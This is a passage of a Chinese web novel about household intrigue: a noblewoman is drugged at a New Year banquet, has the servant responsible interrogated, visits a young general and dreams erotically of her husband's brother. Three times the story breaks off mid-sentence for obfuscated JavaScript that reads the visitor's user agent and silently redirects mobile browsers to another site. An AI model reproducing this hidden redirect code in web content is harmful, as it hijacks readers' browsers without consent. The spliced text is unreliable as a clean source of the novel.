岑景舒点了点头,她环顾四周,入目尽是白茫茫一片,松软的霜雪覆盖大地,唯有小路上凌乱而又清晰的脚印彰显着生人入侵的痕迹。 她喘了几口气,看出来了这便是当时她救下小青的地方,那处荒废的花园。 家宴摆在大夫人的院中,此处人迹罕至离宴席也近,确实是处理突发情况的最优地点。 那下药之人定然也知道。 那人能够从她经手的宴席上给她下药,在府中的地位定然不低,她脑海中闪过一张面孔,不由得嗤笑出声。 夏意为她扫落了石阶上的雪,又将外衫褪下垫在上面,这才连同着春喜一起将她扶过去坐下。 血滴落在雪地上,宛如一串串遗落在地狱的血玉珠,指引人走向未知的分岔路口。 燥热和不适感被渐渐压下,痛感占据主导地位,她额头冒出细密的汗珠,嘴唇微微颤抖着,寒风呼啸而过,争相涌入裸露在外的伤口,刺骨的寒冷将心底最后一丝情欲吹散。 岑景舒长吸一口气,看着狰狞的伤口,到底没敢让春喜包扎,药效只是暂时被痛感压住,应该还没完全退散。 她看向此处唯一的出入口,眼中的冷意胜过方才凛冽的寒风。 “下药之人费尽心思,绝不只是单单想为我下药而已。” “夏意,注意四周可疑的人。” 她语气森然,一字一句道:“尤其是,男人。” 夏意应了声,片刻后便隐匿在暗中,与苍茫的白雪融为一体,消失得无影无踪。 “主子……” 岑景舒闻声偏过头,伸出手颤抖着抹去春喜眼尾的泪珠,低声道:“没事了,别担心。” 她想了想,又道:“去把血迹清理干净,然后你也藏起来。” 春喜愣了愣,有些不明所以,但还是听话地将所有的血迹掩在霜雪下面,确认没有任何遗漏后,轻手轻脚走到一处大石头后蹲下。 霎时间,周围彻底寂静下来,只剩下她有些粗重急促的呼吸声。 约莫半刻钟后,不远处发出窸窸窣窣的响声。 岑景舒心下立刻警觉起来,随后她将袖摆放下,又把外衫扯乱,整个人瘫倒在石阶之上,半眯着眼嘴唇微张,俨然一副受药折磨情动已久的样子。 顾不上背后的冷意,视线中隐约出现了一个人影。 是个男人无疑。 半眯着眼什么也看不清楚,总归那人快走到了夏意能攻击到的范围,她索性完全闭上了眼,唇瓣又张开了些,两只手胡乱扯着外衫。 她在心中数了五个数,却没有听见任何动静,反倒是那不紧不慢的脚步声越来越近,踩在雪地上的脆响像是鼓点。 怎么回事? 她可以确信,夏意从不会失手。 还未等她睁眼查探情况,沁人心脾的竹香扑面而来,随后她身上便多了一件宽大干燥的外袍,带着幽幽的竹香和主人身上残存的余温。 “长嫂?你还好吗?” 岑景舒缓缓睁开双眼,看清楚了来人。 是崔怀鹤。 也难怪夏意没选择动手。 她有些怀疑是否被疼出幻觉了,怎么可能会是他? “长嫂?” 岑景舒回过神,虚弱一笑:“无碍,只是……” 她话还没说话,便看到了被捂着嘴五花大绑在地上不断挣扎的人。 看装扮,是府上的小厮。 “我不胜酒力,本想来此透透气,却看到此人鬼鬼祟祟,形迹可疑,便把人绑了起来,想着稍后交由母亲处理。” “不曾想竟看到了长嫂晕倒在雪地中。” 岑景舒挣扎着坐起,身上的外袍随着她的动作掉落,她向上拢了拢,挡住身上有些凌乱的衣衫。 她望向崔怀鹤,他的唇角微扬,脸上永远带着一成不变的恰到好处的笑容,但又不会让人感到厌烦,他的眼底含着煞有其事的关怀,不知真假。 人都被他抓到了,加上她的异常反应,他这么聪明,怎么可能猜不到? 她整理好衣衫,把外袍递给他,既然他没有明说,这种事她也不会主动提起,笑着应付道:“醉酒罢了,小丫鬟去端醒酒汤了。” “稍后就来。” 崔怀鹤接过外袍,指尖擦过一个冰凉的东西,他将外袍搭在臂弯之上,后知后觉反应过来,方才碰到的那是眼前口中向来没几句真话的人的手。 他勾了勾唇角:“那这人便交由长嫂处理吧,父亲他们还在等着长嫂,长嫂尽量快些,执潭告退。” “嗯,知道了。” 崔怀鹤的背影在日光的照射下逐渐拉长,直至消失不见,夏意和春喜这才先后出来。 春喜红着眼眶撩开她的袖摆,用手帕擦去伤口周围的血污,从怀中掏出一个小巧的玉瓶,将乳白色的药粉撒在她的伤口上,随后将干净的帕子撕成条包住粉末。 伤口处传来酥麻的痒意,将痛感压了下去,她动了动僵硬的胳膊,站起身拍了拍身上的雪。 “主子,需要奴婢把人带回踏雪阁吗?” 另一边的夏意说着说着便蹲下身,把人死死按住。 “带走,严加审问。” 岑景舒没分给那人半个眼神,将被雪浸湿的外衫褪下递给夏意,接着道:“务必让他把所有事情都交代了。” “是,主子。” 她低头瞥了一眼袖摆,袖口处的金丝云纹上沾了少许血迹,但并不明显,若非仔细盯着看察觉不出什么异样,当时大部分血都洇在了外衫上。 如此正好,也省去她再多跑一趟去换衣服了。 又是一阵寒风吹过,卷起地上的霜雪扬到空中,白色的颗粒四下飘零,最后再次落在地面之上。 春喜打了个哆嗦,磕磕巴巴道:“主...子,您怎么不,不冷啊。” 她看着春喜被冻红的鼻尖,轻笑道:“你真是比宫里的娘娘都要娇贵,还不快些走。” “哎哟主子,您又打趣奴婢!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548353|185096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春喜跺了跺脚,有些难为情地快步跟上自家主子。 ** “姐姐怎得去了这么久还未回来?” 一句声音不高不低的悄悄话,把正在聊得热火朝天的所有人的目光都吸引了过来。 霜月脸上一阵惊慌,红着脸低声道:“我只是觉得姐姐去了很久了,姐姐醉得厉害,怕姐姐身体出现什么状况……” “松儿,你去看看。”大夫人面色不变,看向崔怀松吩咐道。 “不必了,母亲,方才衣裳有些脏了,便回了一趟踏雪阁,耽搁了些,眼下并无大碍。” 岑景舒进来时恰好听到霜雪和大夫人的对话,冲着大夫人的方向屈膝行了一礼,浅笑着道。 “如此便好,快些坐下吧,既然不擅饮酒,就不要喝了,松儿替尽溪倒杯茶。”大夫人瞥了一眼崔怀松,示意他倒茶。 “不劳烦夫君了,我来吧。” 说话间岑景舒已然来到席间,先是微微弯腰倒了杯茶,随后才落座,整个过程行云流水,崔怀松一下子没找到机会插手,于是只能作罢。 她偏头看向崔怀松,浅笑道:“还是要多谢夫君。” 趁着这个机会,岑景舒错开视线去看崔怀松身侧的霜月,只见她脸上挂着淡淡的笑,眼底一片水光,依旧十分惹人怜爱。 除此之外,看不出旁的什么。 她收回目光,抿了口茶,一边笑着加入众人聊天,一边暗自思索着操纵今日这一切的人会不会是霜月。 烛火换了一盏又一盏,屋内始终灯火通明,欢声笑语不断,多半是古灵精怪的三小姐在说,逗的众人哈哈大笑。 就连身侧的崔怀鹤目光都柔和几分,嘴角的笑意也比往日的更加真切。 她的视线并没有在崔怀鹤身上停留很久,几乎是蜻蜓点水般地一落,旋即便移开了视线。 直至窗外如墨般的夜色退去,屋内映射进初晨的光辉,这场宴席才宣告结束。 新的一年随着黎明的乍现,如约而至。 岑景舒回到踏雪阁便卸下了伪装,眉宇间尽是疲倦之色,随意抓过一件寝衣换上,便倒在了床榻之上,陷入沉沉的睡眠之中。 不过她也只是小憩片刻,不足一个时辰便睁开了双眼,目光空洞地在榻上愣了一会儿,这才翻身下榻。 今日照例还要再聚一次,只不过崔大人和二公子需要去进宫赴宫宴,按理来说是不需要等他们回来就可以先开始的,但是大夫人的意思是等二人来后再开始。 “一家人,缺一不可。” 大夫人的原话是这么说的。 岑景舒洗漱过后,换好了衣衫,将桃花簪子戴好后,指尖移到耳垂的丹墨色耳环上,思考几瞬过后,最终还是没有取下。 “春喜,人审讯完了吗?” 闻言侯在屋外的春喜推开门,寒风短暂灌入,春喜很快合上门,上前两步替她理了理衣衫,应道:“主子,还没有,那人嘴硬得很。” “夏意姐姐还在审。” 岑景舒摸了摸耳环,思索了片刻:“喊夏意过来一趟,我有法子能让他开口。” “是主子,奴婢这就去。” 春喜还未走到门口,屋外便传来夏意清冷的嗓音:“主子,那人都交代了。” 23. 第二十三章 “主子,这人名叫阿贵,负责各位主子的茶具,就是他在您的茶杯沿下了药。”夏意说完冷冷瞥了一眼跪在地上抖成筛糠的人。 阿贵听到夏意的声音身体颤抖得更厉害了,明明身上没有外伤的痕迹,整个人却好似刚从鬼门关前走了一遭,连求饶的声线都是虚弱破碎的。 “少夫人饶命……”他喘了几口气,接着断断续续道:“小的...也是迫于无奈。” “我自小便不知爹娘是谁,和妹妹相依为命长大,她在月夫人院子里伺候,只是个低等丫鬟,那小青用我妹妹的命要挟。” 阿贵跪俯在地上,衣衫紧紧贴在后背上,冷汗洇出水渍,带着哭腔恳求道:“小的自知罪无可恕,已经把知道的都交代了,可我妹妹是无辜的。” “少夫人让小的上刀山下火海之后,可以再把小的大卸八块泄愤,只求少夫人肯高抬贵手,救我妹妹一命。” 他磕了几个响头,头骨撞击在坚硬的地砖上发出闷响,不过两三下地砖上便有了鲜红的血迹。 “求少夫人。” 咚咚咚—— 岑景舒坐在上方,半垂着眼盯着他看了片刻,在不知他磕了多少个头之后,才淡声道:“好了。” 阿贵额头血肉模糊,地砖上的血顺着缝隙蔓延至四周,暗红色的纹路钩织成一副诡异蛛画,好似某种神秘又血腥的献祭仪式。 他不敢再动弹,耳边一阵嗡鸣,等待着最后的审判。 终于,好似从天边又好像近在咫尺的声音传来。 “如若你妹妹现在还活着,我会保全她,至于你,不要动什么不该有的心思。” 岑景舒说完给了夏意一个眼神,夏意立刻会意,将人拖下去带走了。 “来人,把地板打扫干净。”春喜则是喊了两个小丫鬟过来,不到半刻钟,地板被擦得一干二净,别说是血迹,就连一丝灰尘都没有。 “主子,人已经看管起来了。” 岑景舒点了点头,又道:“找到阿贵的妹妹,把人带过来。” “是。”夏意应声后快步向外走去,很快便没了身影。 眼下单凭阿贵的口供还不够,还需要更多的证据,才能将霜月也拉下水,而阿贵作为关键证人,他的妹妹是他在这个世上唯一的牵绊,必须要保住。 料理完这件事后,岑景舒揉了揉太阳穴,宫宴结束理应不会太早,家宴早已提前备好,又派人去检查了几遍,确保上下都安排妥当,这一下子倒是把白日里的时间空闲出来了。 她本想再歇息片刻,但想到今日是初一,街上必然十分热闹,想了片刻还是道:“春喜,陪我去街上走走。” 东街是洛京最大的一条街,世家垄断的产业的总店大多开在这条街,虽然说占了大多数,但也有商户经营起来的生意。 并且东街距离崔府也是最近的一条街。 岑景舒和春喜并未戴面纱,在熙熙攘攘的人群中穿梭着,春喜一只手紧紧挽住她的胳膊,另一只手不着痕迹替她挡去四周涌动的人流。 因着百姓众多,东街除了固定的商铺外,小摊贩在这条街也是随处可见,各种各样的吆喝声不绝于耳。 “来瞧一瞧看一看嘞,灯烛便宜卖咯!” “现做的糕点,松软香甜,老人家和小孩子都能吃,各位父老乡亲们快来尝尝~” “卖布料,啥布料都有,买三匹料子送一匹,男女老少的料子都有。” 整条街一眼望过去,除了茫茫人海,便是红条布带满天飞扬,小商贩为了讨个喜庆,在年节这几天会对摊位装扮一番。 而那些商铺就更不必说,大红丝绸打成花结悬在牌匾之上,嫣红的灯烛高高挂起,下面坠着金色的流苏或是翡翠流朱,乍一看倒像是结了喜事。 岑景舒走进一家珠玉铺子,看了一圈,最后选中了一对晶莹剔透的白玉素镯,上方没有雕刻任何图案,透过镯子还能看到被镯子本体挡住的景色,料子是极好的。 她在手中掂了掂分量,随后便买了下来。 素净不张扬,送给夏意和春喜最合适不过了。 她将手镯收起,眼下夏意不在身旁,回到府中再送也不迟。 出了珠玉铺子,她便看到了对面酒楼外停着的几辆马车中,一辆极不起眼的暗红棕色的马车,和其余镶金带银的马车相比,看似平平无奇。 “主子,那不是……” 春喜也发现了那辆马车,暗戳戳拽了拽她的袖子,没有把话说全。 岑景舒勾了勾唇,应道:“是,我们进去瞧瞧。” “两位客官,这里是醉桃酿酒楼,请问二位需要点什么?”掌柜的见了她们,笑着弯腰询问道。 春喜轻咳一声,仰着下巴道:“来间上房,把你们这里的拿手好菜都上一遍。” “是是是,二位随我来,这边请。” 行至楼梯转角,掌柜的低垂着头,用几乎微不可查的气音询问道:“小姐是来寻公子的吗?” 岑景舒没出声,目不斜视兀自往前走着。 见状,掌柜的也知晓了,随后停在了一间厢房外,弯腰做了个请的手势,道:“二位客官,里面请,酒菜稍后就到。” “有事可随时传唤,恭祝二位客官用餐愉快。” 岑景舒推开门,大踏步径直向内走去,身后的春喜则是快速合上门,伫立在原地,守在了门口。 “姐姐!” “你怎么来了?” 王延随说着便放下二郎腿,立刻从榻上起身下来迎接,眼中和脸上满是讶异,但语气却是惊喜的。 他目光短暂地停留在她发间的桃花簪上,随后又停在她的脸上,唇角快要扬到天上去了。 岑景舒心下觉得好笑,这人不管多大,在她面前总像个长不大的小孩子一样,心思都写在脸上,叫人看得一清二楚。 “府中一切操办妥当,想趁着年节出来逛逛解解闷,正巧看到了你的马车,想着好几日没见到你了,便上来瞧瞧。” 她坐在王延随的对面,斟了一杯茶,浅浅喝了一口,接着道:“这个时辰,你不准备前往宫中赴宴吗?” “莫不是又要踩着尾巴到场?” 王延随挠了挠头,脸上泛起红晕,眼中闪过一丝被拆穿后的尴尬,随即他瘪了瘪嘴,找补道:“不过是讨厌跟那些牛鬼蛇神打交道罢了。” “姐姐,你不知道,他们那些老家伙,一个比一个难缠。” 岑景舒点头,那群人个个披着人模人样的皮,掩饰着彼此心知肚明的勃勃野心。王延随素来厌恶这些。 她轻笑一声,调侃道:“只是一般也无人敢招惹我们王小将军吧,若是有,你冷下脸,吓唬走便是了。” 王延随眼睛一亮,拿过一旁的粉色酒壶,为她倒了满满一杯,应道:“我也是这么打算的,还是姐姐最知我心!” “这是我改良过的桃花酿,姐姐快尝尝。” 岑景舒依言端起酒杯,几口便把杯中酒喝得一干二净。这桃花酿是她最爱的酒,酒气醇香浓厚,又带着桃花的香气和轻微的甘甜,中和了独属于酒的苦涩,且不易醉。 “好喝,小随你也来一起。” 王延随把糕点往她那里推了推,仰头一口闷下一整杯酒,目光变得悠远绵长,他缓缓道:“最后一场战役出发前,我和将士们也喝了酒。” “不过是烈酒,用来暖身子的。” 他顿了顿,似是陷入了回忆:“那天晚上漆黑一片,我带着三千轻兵从延安河中穿过,对北巫发起突袭。” “先前因为天气吃了一次小规模的败仗,大家也都知道不能再拖下去了,所有人都憋着一口气,上了岸就杀红了眼。” “北巫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574736|185096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想到我们会从延安河那边过来,援兵来得不及时,最后被我们一举攻克,拿下这个据点以后,后面的作战就顺利很多。” 王延随耸了耸肩,感叹道:“若非那次出奇制胜,不知还要再打上几个月呢。” 岑景舒平静地看着他,透过他眼中的光仿佛能看到当时的情景,这人只字不提在本就苦寒的北地,于凛冬在深夜渡河该有多冷,他总是这样。 但她没有说出来,那样只会让氛围变得更加伤感沉重,她笑着赞叹道:“王小将军英明神武,将士们也以一敌十,多亏有了你们拼死御敌,才有大盛百姓们的安稳生活。” 话落,房间内落针可闻,一时间谁也没有再说什么。 片刻后,她眼中蒙着一层酒雾,说出的话也变得含糊不清:“小随,你是不是快要走了。” 王延随沉默稍许,猛灌了一口酒,弯了弯眉眼,故作轻松道:“是啊,姐姐可要记得想我哦!” “等边关安定,我会回来的。” 岑景舒点头,笑着同他碰了一杯,随后一饮而尽。 她想了想,转而说道:“我最近在琢磨做一些咸口的糕点,尝试了好多次都不太满意,上次还把春喜咸得闷了一壶茶。” “小丫头埋怨了我好几日呢。” 王延随挑眉,有些不可置信道:“不会吧?居然还有姐姐做不成的糕点吗?姐姐这么说,我更想尝尝看了。” “那可不行,小随你还是吃最后成功版的吧。”岑景舒摇了摇头,又喝了几口酒。 她瞟了一眼窗外的天色,站起身道:“时辰不早了,不耽误你稍后去参加宫宴,我便走了。” “姐姐慢走。” 岑景舒止住他想要起身的动作,道:“这里人多眼杂,你歇着吧。” 虽说这酒楼是王家的小产业,生意一直不温不火,但能避免不必要的麻烦就尽量避免。 她带着春喜出了酒楼,又在街上逛了半个时辰,没再发现什么新奇的物件,便回了府。 哪知她们还没到踏雪阁,就被早早等待的书琴劫走,转道来了大夫人院子里。 “尽溪啊,过九日便是你的生辰了,你想自己操办还是我来为你办?” 岑景舒勾了勾唇,乖巧应道:“母亲,尽溪自己来吧,不必太过奢华,简单一些便好。” 大夫人怜惜地拉过她的手来回抚摸:“傻孩子,府上不缺银子,按照你的喜好来操办就好,银子不够随时去库房支,务必办得风风光光的。” 不等她回话,大夫人扭头看向书琴吩咐道:“书琴,把东西拿上来。” 大夫人回过头又道:“你父亲这几日比较忙,他也准备了礼物,我原说一起送给你,他不肯,说这样显得他这个做爹的不称职,过几日闲来亲自给你。” “左右不过是一个生辰,倒是劳烦父亲母亲费心了。”岑景舒眸光微动,一股难以言说的感觉在心头蔓延开来。 随着这两句话的功夫,书琴已经把东西拿了过来,木箱子放在桌案上时发出震响。 岑景舒在大夫人的示意下打开箱子,里面泛着光泽的浅蓝色衣衫一下子就吸引住了她的目光,上面的花卉纹路是用金线织成,料子摸起来柔软顺滑,像是宫中的绣娘所制。 岑景舒合上木箱,发自内心一笑:“谢过母亲。” ** 回到踏雪阁后,一封大红信封明晃晃搁在她的梳妆盒上,她挑眉拆开,果然不出她所料,是闻绝柳的来信。 “你什么时候把人带走?这个死男人现在日日纠缠我,你若再不给个准话,我便把他杀了!” 岑景舒看完嗤笑一声,将信丢进香炉焚毁。 提及此事,她不由得想到在幕后布局之人,鼻尖似乎又萦绕着若有似无的沉香气息,那双似笑非笑的眼睛在眼前一闪而过,她下意识摸上耳环。 24. 第二十四章 岑景舒回过头,只见钟离灵妙笑眯眯坐在木凳上,正一脸促狭地看着她。 “景舒姐姐,你这样子是在想你的情郎吗?” 岑景舒轻笑一声,谢无咎低声喊“卿卿”的样子仿佛就在眼前,情郎吗,算是吧。 “来,景舒姐姐,这是最后一次施针了,我瞧着你面色红润,想来是按时吃药了,稍后我再为你开另一张方子。” “你的胃疾需要慢慢调养,现在只是可以保证你不会随时晕倒了,想要完全痊愈,恐怕还需要个一年半载。” 岑景舒皱了皱眉,轻声应道:“那就麻烦钟离姑娘尽量不要开太苦的药。” “知道啦,不会的,师姐早就跟我说过了,你很怕喝苦药,特意嘱托了我不能给你开一丁点苦药,否则你定然要偷偷将药倒掉。” 钟离灵妙一边拿出银针朝她走来,一边笑着道:“景舒姐姐放心吧!” 随后钟离灵妙敛起笑意,神情专注地盯着手中的银针,施针的手又稳又准,才不到两刻钟,便已施针完毕,将所有的银针一一取下。 岑景舒先是动了动有些发麻的手指,待身上的痛感余韵尽数消失后,这才起身,走到一侧柜子中拿出笔墨开始回信。 “稍候几日,我会给你答复。” 她刚刚扎完针身子不是很爽利,懒得写太多字,把信纸随便折了几下塞进信封递给钟离灵妙:“钟离姑娘,麻烦你把它交给你师姐。” “不麻烦不麻烦,包在我身上!” 钟离灵妙笑眯眯接过信装进内衬之中,随后拿起笔在纸上洋洋洒洒写满两大页药方后,一蹦一跳走到了窗户口,单手撑着窗檐利索地翻了上去,半边身子都悬在了窗外。 临走前还不忘回过头来告别:“景舒姐姐,我走啦!” “再会。”岑景舒温柔一笑,眼看着小姑娘从窗户一跃而下,霎时间便不见了踪影。 她对着空空如也的窗子叹了口气,谢无咎那个见不得光的家伙翻窗也就罢了,这钟离灵妙是大夫人专门请过来为她治病的,放着大门不走,偏要翻窗做什么。 沐浴过后,她让春喜替她挑了身宽大一点的衣衫,去了书房准备写生辰宴请帖。 按理说这些请帖应该早早就备好送去的,可她一直没把生辰宴放在心上,加上近日事情繁多便给忘记了。 她在脑中敲定着宴请的人,很快便有了大致的范围。 首先便是王家、柳家和谢家的人,其次是宫里面的娘娘们,再然后便是洛京内的一些世家,剩下的便按照距离的远近排序。 “主子,您……”春喜研墨的手一顿,看着纸上的几个姓氏,犹豫了片刻还是说道:“岑大人和夫人那边,不打算请了吗?” 岑景舒拿笔杆敲了敲皱巴着脸的春喜,轻笑出声:“你家主子又不是傻子,生辰宴若不叫生父生母来,可不叫天下人笑话?” “是,奴婢多虑了,主子见谅。”春喜吐了吐舌头,赶忙继续研墨。 请帖越叠越厚,岑景舒揉了揉有些发酸的手腕,将剩下的空帖子推给春喜:“找几个字写得漂亮的,仿着我的字将这些写完。” 那些重要的请帖她亲笔写完过后,余下的也不值得她耗时耗力了,只要打眼一看字迹相差不大就好。 她甩了甩手,屋外传来敲门声,随后夏意清冷的声音响起。 “主子,人带回来了。” 岑景舒将摊开的几分请帖合上,这才道:“带进来吧。” “主子,此人名唤阿兰,是阿贵的妹妹。” 岑景舒看向倒在一旁双眼紧闭面色惨白的小丫鬟,随后看向夏意,用眼神询问:这是怎么回事? “奴婢是在一处柴房发现阿兰的,那时她便昏迷着,奴婢猜测应是小青还未没得及下手。” 夏意一板一眼接着回道:“屋外有两个看守,奴婢曾见过他们,是月夫人手下的人。” “人昏迷着也干不了什么,等人醒了带她去见阿贵一面,然后分别看管起来。” 眼下是年节前后,这大喜的日子不宜见血,免得折煞了福气,过几日再收拾小青和霜月不迟。 反正现在该着急的应是霜月才对。 岑景舒本想让夏意立刻就将人带下去,余光瞥见摇头晃脑写请帖的春喜,忽然想起那一对镯子还没有送出去。 她将镯子拿出,分别递给二人,勾着唇角笑道:“来瞧瞧,喜欢吗?” “不喜欢或是还想要就尽管说,我那还有许多没戴过的首饰,你们随便挑些去都可。” 春喜举着镯子看了看,当即就戴到了手上,又在她眼前晃了晃,杏眼笑得只剩下了一条缝,道:“奴婢很喜欢呢!谢谢主子!” “奴婢也喜欢,谢过主子。”夏意的反应相比春喜显得十分冷淡,但是从略微上扬的嘴角也不难看出,夏意此刻的心情是十分愉悦的。 岑景舒点了点头,见状不由得多叮嘱了一句:“平日不要省银子,该买就买,我养你们两个小丫头还是够的。” 她摆了摆手,让夏意将人带走,把春喜留在书房写请帖,这个时辰宫宴结束估摸还要好一会儿,她有些手痒,想到了那自收到就没有再打开过的玲珑棋子,于是便回了寝房内。 较为贵重的物品她向来不喜欢放在书房,而是喜欢放在触手可及的地方。 她找到放置玲珑棋子的匣子刚准备打开,房外传来小丫鬟有些为难的声音:“少夫人,长公子身边的霜一执意要见您,跪在院子里说什么都不肯走。” “您意下如何?” 自从上次搞出的乌龙后,崔怀松便一直想要见她,无非就是说一些令人厌烦的赔罪的话,因此回回都被她推了,这次又派霜一来,她眼尾下压有些不悦,淡声道:“喜欢跪那便跪着吧。” “是,少夫人。” 被这么一打岔,她顿时也没了下棋的兴致,又把匣子收好放了回去,转而去了梳妆台,将发钗一一卸下,换上寝衣准备歇息片刻。 不知是不是因为没有下成棋的缘故,她罕见地做了个梦。 不过她并没有梦见玲珑棋子,而是梦见了送玲珑棋子的人。 崔二公子,她夫君的弟弟。 按常理来说,人在做梦时是不知道自己在做梦的,可眼下的场景,是无论如何也不会发生在她和二公子之间的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611333|185096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荒诞而又靡乱。 除了梦,她想不出别的解释。 她赤-裸着身子,双腿和双手都被粗大的铁链锁住动弹不得,周围的空间十分逼仄沉闷,光线昏暗看不到门口和窗子在哪里。 只能看到眼前把玩着软鞭,和平常矜贵高雅毫不沾边的二公子,他褪去了平日的伪装,眼中翻涌着欲色,整个人散发着危险的气息。 不知从哪吹来的一股阴风,吹得她浑身发毛,过于逼真的触感不禁让她有一瞬间怀疑,这并不是梦,而是真真实实正在发生的事情。 她咽了咽口水,尝试着用力挣脱锁链,锁链随着她的动作发出哗哗的巨大响声,岂料那冰冷的锁链反而缠得更紧,勒的她手腕和腿生疼。 “怀鹤,你这是...做什么?” 她尽量保持冷静,声线却还是因为现下的诡异处境而微微颤抖,脑海中一团乱麻。 如果是梦,她为什么会梦见这样的情景?如果不是梦……她不敢再继续想下去。 眼前的人并没有回答,而是将软鞭卷在手中,用带有余温的鞭柄戳向她裸露在外的肌肤,先是锁骨,一路向下,最后停在了微微隆起的小腹上。 她身子随着他的动作轻微抖动着,清冽的竹香在四周蔓延,一切都是那么的真实,她的心脏猛然跳动起来,一种隐秘而又异样的感觉在胸腔中炸开。 “阿舒,方才谢在野抱了你,你身上都是他的味道,我不太喜欢。” 岑景舒抿了抿嘴,眼睛直勾勾盯着越靠越近的崔怀鹤,她不知道他口中的“方才”究竟发生了什么,半晌才哑着声音道:“怀鹤,我是你的长嫂。” “你……不能如此。” 崔怀鹤将鞭柄继续下移,掌控着力度戳了几下,贴在她耳边轻声道:“阿舒,那是以前了。” “嗯...” 岑景舒眼神有些迷离,感官被无限放大变得异常敏感,鞭柄的温热时不时和她的体温相融,她身子止不住颤抖着,脑子一片混沌。 她隐约听到崔怀鹤的声音,他说—— “现在,你的身边只有我了。” 眼前一片白光闪过,岑景舒猛然惊醒,一下子用手撑着床榻坐了起来,身上被汗液浸湿,寝衣粘在一起,十分难受。 她看着眼前熟悉的景象,喘着气好大一会儿才从方才的梦境中缓过来。 真是中了邪了。 她掀开被褥三两下把寝衣脱掉,些许凉意袭来,梦境和现实重叠,激得她身子一抖。她随意捞过一件外衫,大踏步向另一间的小型浴池走去。 “哗啦——” 外衫被她丢在一旁,温凉的池水从四面八方涌来,寒气将她整个人笼罩其中,她的身体顿时从方才的燥热状态中抽离,脑子也变得清醒无比。 这里并不是一处温泉,而是夏天临时修建的一处避暑用的小冷泉,现在因着屋里炭火充足,水温倒是不算太冷。 她伸手将脸上的水珠抹掉,及腰的长发-漂浮在水面之上,她现在人是清醒了没错,可脑海之中的画面却始终挥之不去。 崔怀鹤的话仿佛又在耳边响起,她脸颊发热,心神一动。 25. 第二十五章 彻底冷静后,她的身体后知后觉感受到池水的寒冷,呼出的气都变成了带着冷意的白雾,她赶忙跨出水池,将外衫紧紧裹在身上。 一个时辰后,宫宴估摸着快要结束了,她穿戴整齐,不慌不忙地去了大夫人的院内,人还没有来很多,三小姐正拿着一块奇形怪状的石头,在大夫人眼前手舞足蹈地讲着什么。 “嫂嫂,你来啦,快来看我捡到的石头!” 岑景舒笑了笑,缓步走过去,柔声应道:“让我来瞧瞧,什么石头让阿璎这般惊奇?” 大夫人轻轻拍了下崔玉璎的肩膀,半真半假呵斥道:“多大的丫头了,净胡闹。” 岑景舒看着大夫人和崔玉璎的互动,眼底浮现笑意,大夫人虽然嘴上嫌弃,但是并未阻止崔玉璎,反倒十分给面子陪着崔玉璎胡闹。 崔玉璎虽然是庶出,但大夫人却是把崔玉璎当作亲女儿来疼爱的。 别的家族都妻妾成群儿孙满堂,崔大人也只纳了一位宁夫人,是大夫人的表妹,据说还是大夫人要求崔大人纳的。 崔玉璎则是宁夫人的头一胎,在宁夫人连续生了三个女儿后,大夫人总算不强求宁夫人生个儿子了。 宁夫人和大夫人是手帕交,关系素来不错,因此宅院之中从来没有发生过龌龊之事,几个孩子之间的氛围也其乐融融。 或许这也是崔府能够蒸蒸日上的原因之一吧。 她这样想着,面上却丝毫不显,依旧得体地笑着坐到崔玉璎身侧,低头去看那块闪着彩色光芒的石头,赞叹道:“果真是块好石头。” “那就送给嫂嫂了!”崔玉璎眼睛一亮,捧着石头的手方向一转,当即就从大夫人跟前捧到了她的眼前。 岑景舒勾了勾唇角,把石头拿在手中,尾调上扬故意调笑道:“可方才我怎么听着,阿璎是打算把这石头送给母亲啊,就这么给了我,是不是不太好啊。” “怎么就不好了呢?嫂嫂先说的喜欢,那便送给嫂嫂,凡事都要讲究先来后到,母亲晚了一步,自然就没有了。” 崔玉璎撇了撇嘴,把石头强行塞到她手中,似是害怕大夫人斥责,赶忙一蹦一跳跑走了。 “这丫头。”大夫人无奈一笑,轻轻摇了摇头。 “璎儿!” 岑景舒闻声望去,崔大人正蹙着眉看着崔玉璎的背影,紧接着那道身影定在原地片刻,随即毫不犹豫地溜之大吉。 “都多大的姑娘了,没个大家闺秀的样子,日后谁想娶她!”崔大人声音不轻不重,看向大夫人道:“过些时日好好教一下璎儿礼仪规矩。” “好了,璎儿才多大,想这么远干什么?随她去吧。”大夫人起身上前将崔大人扶到主位上,为他倒了杯热茶。 岑景舒也跟着起身,直至大夫人和崔大人都坐下后,她才再次坐下。 席位的座位不变,她的右手边依旧是崔怀鹤,从方才到现在她的视线不敢在他身上停留半刻,可她越不去想,脑海中的梦境画面就越真切,身侧的竹香也愈发浓郁。 